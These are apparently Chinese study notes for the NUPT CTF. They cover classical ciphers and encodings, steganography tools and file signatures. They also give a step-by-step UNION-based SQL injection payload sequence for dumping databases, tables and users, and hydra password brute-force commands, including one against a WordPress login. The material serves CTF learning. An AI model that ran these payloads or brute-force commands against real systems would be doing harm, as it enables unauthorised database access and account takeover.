南邮CTF了解一下~
密码学
JSfuck
- 标志:以[]开头,以()结尾
- 解密:JSfuck or 浏览器
F12
打开Console控制台
,粘贴密文按回车即可解密
AAencode
AAencode加解密
PPencode
代码语言:javascript复制length q closedir vec and print chr ord q open no and print chr ord q or no and print chr ord q sin s and print chr ord qw q ne q and print chr ord q lt eval and print chr ord q q eq and print chr length q q ge getc getpriority printf split q and print chr ord qw q fcntl q and print chr ord qw q lc q and print chr ord q each le and print chr ord qw q ge q and print chr length q q readdir ge chop link syscall chroot binmode for length setservent dbmopen uc getnetbyname getpwnam rename stat study pack q and print chr ord q open no and print chr ord q split s and print chr oct hex ord uc q my m and print chr ord q ge log and print chr ord qw q ne q and print chr ord q oct no and print chr ord q pop and print chr ord qw q die q and print chr ord q ge log and print chr oct oct hex ord q ref or and print chr length q q ge getc getpriority printf split q
菜鸟教程在线编译工具
Brainfuck
- Brainfuck是一种极小化的计算机语言,只有八种符号,所有的操作都由这八种符号(> < - . , [ ])的组合来完成。
- 解密:Brainfuck
ASCII
ADFGX
- ADFGX密码(ADFGX Cipher)结合了改良过的Polybius方格替代密码与单行换位密码的矩阵加密密码,使用了5个合理的密文字母:A,D,F,G,X,这些字母之所以这样选择是因为当转译成摩尔斯电码(ADFGX密码是德国军队在一战发明使用的密码)不易混淆; (明文FOX --加密-> FA DX FF )
Unicode/URL
- Unicode/URL解码
Base32/64编码
- 原理:base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应4个base64单元,即3个字节可表示4个可打印字符。在base64中的可打印字符包括
A-Z、a-z、0-9, 、/
,共64个可打印字符;如果要编码的字节数不能被3整除,最后会多出1个或2个字节,那么可以使用下面的方法进行处理:先使用0字节值在末尾补足,使其能够被3整除,然后再进行base64的编码。在编码后的base64文本后加上一个或两个“=”号,代表补足的字节数。也就是说,当最后剩余一个八位字节(一个byte)时,最后6位的base64字节块有四位是0值,最后附加上两个等号;如果最后剩余两个八位字节(2byte)时,最后一个6位的base字节块有两位是0值,最后附加一个等号 - 标志:等号作后缀,数目可能为0/1/2个
- 加密:文本 ->ASCII编码 ->转换二进制 ->计算索引 ->得到Base64编码 例:文本M ->ASCII编码为77 ->十进制转化成二进制为01001101 ->即索引值19 ->Base64编码为T
- 解密:
- Base32加解密
- Base64加解密
- Hex加解密
盲文
颜文字
- jjencode/aaencode
- jjencode -> 将JS代码转换成只有符号的字符串
- aaencode -> 将JS代码转换成常用的网络表情
- 解密:浏览器
F12
打开Console控制台
,粘贴密文按回车即可解密
九宫格
- 2个数字为一组,对应手机九宫格上的字母
敲击码
栅栏密码
- 栅栏密码(Rail-fence Cipher)就是把要加密的明文分成N个一组,然后把每组的第1个字符组合,每组第2个字符组合…每组的第N(最后一个分组可能不足N个)个字符组合,最后把他们全部连接起来就是密文
置换密码
置换密码在线字典
凯撒密码
- 凯撒密码(Caesar Cipher或称恺撒加密、恺撒变换、变换加密、位移加密)通过把字母移动一定的位数来实现加密和解密。明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。
摩斯密码
摩斯密码在线加解密
猪圈密码
- 猪圈密码(Pigpen Cipher或称朱高密码、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码
维吉尼亚密码
- 维吉尼亚密码(Vigenère Cipher)是在单一恺撒密码的基础上扩展出多表代换密码,根据密钥(当密钥长度小于明文长度时可以循环使用)来决定用哪一行的密表来进行替换,以此来对抗字频统计
- 密钥(循环使用,密钥越长相对破解难度越大)
- 加密:第一行为明文字母,第一列为密钥字母 -> 明文字母列和密钥字母行的交点就是密文字母
(如明文字母
T
列 和 密钥字母C
行 -> 交点为 密文V
)
传送门
- 各种密码加密与解密
- Unicode/URL解码
- ASCII 在线转换器
- Base64加解密
- Brainfuck
- JSfuck
SQL注入
1. 判断注入点
代码语言:javascript复制- and 1=1 -> 正常
- and 1=2 -> 报错
--> 发现页面显示不一样,是注入点
2. 爆库
代码语言:javascript复制(mysql>5.0的版本才有information_schema,存储着mysql 所有库和表结构信息)
1. 查看当前使用数据库
- and 1=2 union select 1,database()
2. 爆表
- union select 1,table_name from information_schema.tables where table_schema='当前库名'
3. 查看当前表中字段
- union select 1,column_name from information_schema.columns where table_schema='当前库名'
4. 爆字段内容
- and 1=1 union select 1,2
5. 查看列
- union select 1,列名 from 表名
6. 爆出所有库
- union select 1,schema_name from information_schema.schemata
- and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.schemata
3.工具
- SQLmap -> sql自动注入(需要Python2.7环境)
4. 其他
(1) 猜解字段
代码语言:javascript复制- order by a
- order by b
--> 若发现a正常b不正常,则字段数是a
(2)爆字段位置
代码语言:javascript复制and 1=2 union select 1,2
select * from db WHERE id= x and 1=2 Union select 1,2,3,4,5
(3)查看mysql基本信息
代码语言:javascript复制- and 1=2 union select 1,version() ----- 查看数据库版本
- and 1=2 union select 1,database() ---- 查看当前使用的数据库
- and 1=2 union select 1,user() ------查看当前数据库用户
- and ord(mid(user(),1,1))=114 ------ 判断用户是否为root
(4)单独爆库
代码语言:javascript复制第一个数据库
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
第二个数据库
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1
第三个数据库
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 2,2
第四个数据库
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 3,3
第五个数据库
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 4,
隐写术
1.工具
- Stegosolve:图片分析
- File Format 分析图片
- Frame Browser 逐帧查看
- Winhex:二进制分析
- Cool Edit Pro:音频分析
- MP3stego:音频分析
- binwalk:文件隐写分析
- F5-steganography:F5隐写
- ZipCenOp:伪加密
- Crunch:字典生成器
- hydra:爆破
2.部分工具用法
binwalk
默认分离
binwalk -e xxx.xxx
dd命令分离
# dd if=xxx.xx of=a.xxx skip=12345 bs=1
[ if是指定输入文件,of是指定输出文件,skip是指定从输入文件开头跳过12345个块后再开始复制,bs设置每次读写块的大小为1字节 ]
MP3stego
Decode -X -P password xxx.mp3
加密:encode -E (里面放要加密的txt信息) -P (密码) (需要将密码放入的wav文件) (生产的mp3文件)
解密:decode -X -P (密码)(要解密的文件)
F5-steganography
java Extract xxx.jpg -p password
ZipCenOp
伪加密解压命令 java -jar ZipCenOp.jar r xxxx.zip
Crunch
Crunch字典生成器路径:/usr/share/crunch
crunsh MinSize MaxSize 字典元素(如123456) -o 存放文本名(a.txt)
hydra
代码语言:javascript复制#命令
先nmap扫一波端口
hydra -l root(用户名,或-L 字典) -P unix_passwords.txt(字典) IP -v ssh(服务)
例:hydra -l admin -P unix_passwords.txt 172.26.16.128 */wp-login.php:log=^USER^&pwd=^PASS^ :"login_error"
字典路径:/usr/share/wordlists/
/usr/share/wordlists/metasploit
unix_passwords.txt //小字典
password.lst //大字典
unix_users.txt //用户名
windows常用用户名 administrator/admin
-R 修复之前使用的aborted/crashed session
-S 执行SSL(Secure Socket Layer)连接
-s Port 使用非默认服务器端口而是其他端口时,指定其端口
-l Login 已经获取登录ID的情况下输入登录ID
-L FILE 未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)
-p Pass 已经获取登录密码的情况下输入登录密码
-P FILE 未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)
-x MIN:MAX:CHARSET 暴力破解时不指定文件,而生成可满足指定字符集和最短、最长长度条件的密码来暴力破解
-C FILE 用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式
-M FILE指定实施并列攻击的文件服务器的目录文件
-o FILE以STDOUT的形式输出结果值
-f 查找到第一个可以使用的ID和密码的时候停止破解
-t TASKS 指定并列连接数(默认值:16)
-w 指定每个线程的回应时间(Waittime)(默认值:32秒)
-4/6 指定IPv4/IPv6(默认值:IPv4)
-v/-V显示详细信息
-U 查看服务器组件使用明细
get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/
post方式提交,破解web登录:
3.常见文件格式
- MS Word/Excel (xls.or.doc),文件头:D0CF11E0
- JPEG (jpg),文件头:FFD8FFE0 文件尾:FF D9
- PNG (png),文件头:89504E47
- GIF (gif),GIF89A 文件头:47494638
- XML (xml),文件头:3C3F786D6C
- HTML (html),文件头:68746D6C3E
- MS Word/Excel (xls.or.doc),文件头:D0CF11E0
- MS Access (mdb),文件头:5374616E64617264204A
- Adobe Acrobat (pdf),文件头:255044462D312E
- Windows Password (pwl),文件头:E3828596
- ZIP Archive (zip),文件头:504B0304
- RAR Archive (rar),文件头:52617221
- Wave (wav),文件头:57415645
- AVI (avi),文件头:41564920